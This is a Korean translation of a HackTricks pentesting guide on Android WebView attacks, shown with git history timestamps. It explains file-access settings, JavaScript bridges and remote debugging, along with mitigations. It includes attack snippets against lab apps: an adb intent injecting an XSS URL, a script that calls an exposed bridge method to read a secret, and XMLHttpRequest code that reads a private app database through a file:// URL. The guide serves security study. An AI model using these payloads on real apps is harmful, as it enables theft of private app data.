hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

148 lines
10 KiB
Markdown
Raw Normal View History

2024-02-10 21:30:13 +00:00
# 웹뷰 공격
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-03 10:43:38 +00:00
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
</details>
## WebView 구성 및 보안 가이드
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
### WebView 취약점 개요
Android 개발의 중요한 측면 중 하나는 WebView의 올바른 처리입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 구성 및 보안 관행을 강조합니다.
![WebView 예시](<../../.gitbook/assets/image (1190).png>)
2024-02-10 21:30:13 +00:00
### **WebView에서의 파일 액세스**
기본적으로 WebView는 파일 액세스를 허용합니다. 이 기능은 Android API 레벨 3 (컵케이크 1.5)부터 사용 가능한 `setAllowFileAccess()` 메서드에 의해 제어됩니다. **android.permission.READ\_EXTERNAL\_STORAGE** 권한을 가진 애플리케이션은 파일 URL 스킴(`file://path/to/file`)을 사용하여 외부 저장소에서 파일을 읽을 수 있습니다.
#### **사용되지 않는 기능: 일반 및 URL에서 파일 액세스**
* **URL에서의 일반 액세스**: 이 사용되지 않는 기능은 파일 URL에서의 교차 출처 요청을 허용했으며 잠재적인 XSS 공격으로 인한 중대한 보안 위험을 초래했습니다. Android Jelly Bean 이상을 대상으로 하는 앱의 기본 설정은 비활성화(`false`)되어 있습니다.
* 이 설정을 확인하려면 `getAllowUniversalAccessFromFileURLs()`를 사용하세요.
* 이 설정을 수정하려면 `setAllowUniversalAccessFromFileURLs(boolean)`를 사용하세요.
* **URL에서 파일 액세스**: 이 또 다른 사용되지 않는 기능은 다른 파일 스킴 URL에서의 콘텐츠 액세스를 제어했습니다. 일반 액세스와 마찬가지로, 보안을 강화하기 위해 기본 설정은 비활성화되어 있습니다.
* 확인하려면 `getAllowFileAccessFromFileURLs()`를 사용하고, 설정하려면 `setAllowFileAccessFromFileURLs(boolean)`를 사용하세요.
2021-05-29 13:27:23 +00:00
2024-02-10 21:30:13 +00:00
#### **안전한 파일 로딩**
2021-05-29 16:57:06 +00:00
자산 및 리소스에는 액세스할 수 있지만 파일 시스템 액세스를 비활성화하려면 `setAllowFileAccess()` 메서드를 사용합니다. Android R 이상에서 기본 설정은 `false`입니다.
* `getAllowFileAccess()`로 확인하세요.
* `setAllowFileAccess(boolean)`로 활성화 또는 비활성화하세요.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
#### **WebViewAssetLoader**
2021-05-29 13:27:23 +00:00
**WebViewAssetLoader** 클래스는 로컬 파일을 로드하는 현대적인 방법입니다. 로컬 자산 및 리소스에 액세스하기 위해 http(s) URL을 사용하며, 동일 출처 정책을 준수하여 CORS 관리를 용이하게 합니다.
### loadUrl
2021-05-29 13:27:23 +00:00
이것은 웹뷰에서 임의의 URL을 로드하는 데 사용되는 일반적인 함수입니다.
```java
webview.loadUrl("<url here>")
```
### **자바스크립트 및 인텐트 스키마 처리**
2021-05-29 13:27:23 +00:00
- **JavaScript**: 웹뷰에서 기본적으로 비활성화되어 있으며 `setJavaScriptEnabled()`를 통해 활성화할 수 있습니다. 적절한 보호장치 없이 JavaScript를 활성화하는 것은 보안 취약점을 유발할 수 있으므로 주의가 필요합니다.
- **인텐트 스키마**: 웹뷰는 `intent` 스키마를 처리할 수 있으며, 신중하게 관리되지 않으면 취약점을 악용할 수 있습니다. 한 예로 노출된 WebView 매개변수 "support_url"을 악용하여 교차 사이트 스크립팅(XSS) 공격을 실행할 수 있는 취약점이 있었습니다.
![취약한 WebView](<../../.gitbook/assets/image (1191).png>)
```bash
2024-02-08 03:08:28 +00:00
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
{% endcode %}
2021-05-29 16:28:54 +00:00
### 자바스크립트 브릿지
2024-02-08 03:08:28 +00:00
Android에서는 WebView에서 **JavaScript**을 사용하여 **네이티브 Android 앱 기능**을 호출할 수 있는 기능을 제공합니다. 이는 `addJavascriptInterface` 메소드를 활용하여 구현되며, 이는 JavaScript를 네이티브 Android 기능과 통합하는 _WebView JavaScript 브릿지_로 표현됩니다. 이 메소드는 WebView 내의 모든 페이지가 등록된 JavaScript 인터페이스 객체에 액세스할 수 있도록 허용하기 때문에 민감한 정보가 이러한 인터페이스를 통해 노출될 경우 보안 위험이 발생할 수 있으므로 주의가 필요합니다.
2021-05-29 16:28:54 +00:00
* Android 버전 4.2 미만을 대상으로 하는 앱의 경우 **극도의 주의가 필요**합니다. 이는 악의적인 JavaScript를 통해 원격 코드 실행을 허용하는 취약점으로 인해 발생할 수 있습니다. 이 취약점은 reflection을 이용합니다.
2021-05-29 16:28:54 +00:00
#### 자바스크립트 브릿지 구현
2021-05-29 16:28:54 +00:00
* **JavaScript 인터페이스**는 네이티브 코드와 상호 작용할 수 있으며, 다음 예제에서는 클래스 메소드가 JavaScript에 노출되는 방법을 보여줍니다:
2021-05-29 16:28:54 +00:00
```javascript
2024-02-08 03:08:28 +00:00
@JavascriptInterface
public String getSecret() {
2024-02-10 21:30:13 +00:00
return "SuperSecretPassword";
2024-02-08 03:08:28 +00:00
};
2021-05-29 16:28:54 +00:00
```
* JavaScript Bridge는 WebView에 인터페이스를 추가하여 활성화됩니다:
2021-05-29 16:28:54 +00:00
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* 자바스크립트를 통한 잠재적인 악용, 예를 들어 XSS 공격을 통해 노출된 자바 메소드를 호출할 수 있습니다:
2024-02-08 03:08:28 +00:00
```html
2021-05-29 16:28:54 +00:00
<script>alert(javascriptBridge.getSecret());</script>
```
* 위험을 완화하기 위해 **JavaScript 브릿지 사용을 제한**하여 APK와 함께 제공된 코드로만 로드되도록하고 원격 소스에서 JavaScript를 로드하지 못하게 합니다. 오래된 기기의 경우 최소 API 레벨을 17로 설정합니다.
2021-05-29 16:28:54 +00:00
### Reflection 기반 원격 코드 실행 (RCE)
2021-05-29 16:28:54 +00:00
* 문서화된 방법을 통해 특정 payload를 실행하여 reflection을 통해 RCE를 달성할 수 있습니다. 그러나 `@JavascriptInterface` 주석은 무단 메소드 액세스를 방지하여 공격 표면을 제한합니다.
2021-05-29 16:28:54 +00:00
2024-02-10 21:30:13 +00:00
### 원격 디버깅
* **Chrome 개발자 도구**를 사용하여 **원격 디버깅**이 가능하며 WebView 콘텐츠 내에서 상호 작용 및 임의의 JavaScript 실행이 가능합니다.
2024-02-10 21:30:13 +00:00
#### 원격 디버깅 활성화
* 응용 프로그램 내 모든 WebView에 대해 원격 디버깅을 활성화하는 방법:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
2024-02-10 21:30:13 +00:00
WebView.setWebContentsDebuggingEnabled(true);
}
```
* 애플리케이션의 debuggable 상태에 따라 디버깅을 조건부로 활성화하려면:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
2024-02-10 21:30:13 +00:00
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## 임의 파일 유출
* XMLHttpRequest를 사용하여 임의 파일을 유출하는 방법을 보여줍니다:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
2024-02-10 21:30:13 +00:00
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
2024-02-10 21:30:13 +00:00
## 참고 자료
2024-02-08 03:08:28 +00:00
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-03 10:43:38 +00:00
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
</details>